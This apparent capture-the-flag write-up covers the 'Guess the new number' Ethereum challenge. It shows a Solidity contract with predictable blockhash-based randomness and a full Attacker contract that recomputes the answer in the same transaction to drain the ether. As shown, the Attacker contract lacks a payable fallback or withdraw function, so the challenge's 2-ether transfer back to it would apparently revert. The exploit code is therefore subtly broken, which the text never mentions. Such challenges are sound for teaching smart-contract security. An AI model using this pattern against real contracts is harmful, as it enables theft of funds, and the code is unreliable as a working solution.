Skip to content

Guess the new number

pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

Goal

Guess the number to win and get all the ETH from the smart contract

Exploit

In order to finish this CTF we will have to use another smart contract. We can name this contract Attacker.

From the contract we see that the answer is calulated in the following way:

  uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), 

Because of the atomic nature of ethereum tranactions (they all happen at once, at the same block), we can create Attacker contract, and calculate the answer using the above formula and call the guess(uint8 n) function of the GuessTheNewNumberChallenge contract from within the Attacker contract.

To exploit the contract we need to:

  1. create Attacker contract, and create instance from the GuessTheNewNumberChallenge contract inside the Attacker contract, send ETH to the contract on deployment, we need this ETH to be able to guess later
  2. create guessTheNumber() external function inside Attacker, and inside of it

    • calculate the guessing number using uint8(keccak256(block.blockhash(block.number - 1), now))
    • call guess() function inside GuessTheNewNumberChallenge contract, with the number calculated above as argument, and the balance of the Attacker contract as value

  3. call guessTheNumber() function from our account

Attacker contract code

contract Attacker {
  GuessTheNewNumberChallenge private guessContract;

  function Attacker(address _guessContract) public payable {
    guessContract = GuessTheNewNumberChallenge(_guessContract);
  }

  function guessTheNumber() external {
    uint8 number = uint8(keccak256(block.blockhash(block.number - 1), now));
    guessContract.guess.value(address(this).balance)(number);
  }
}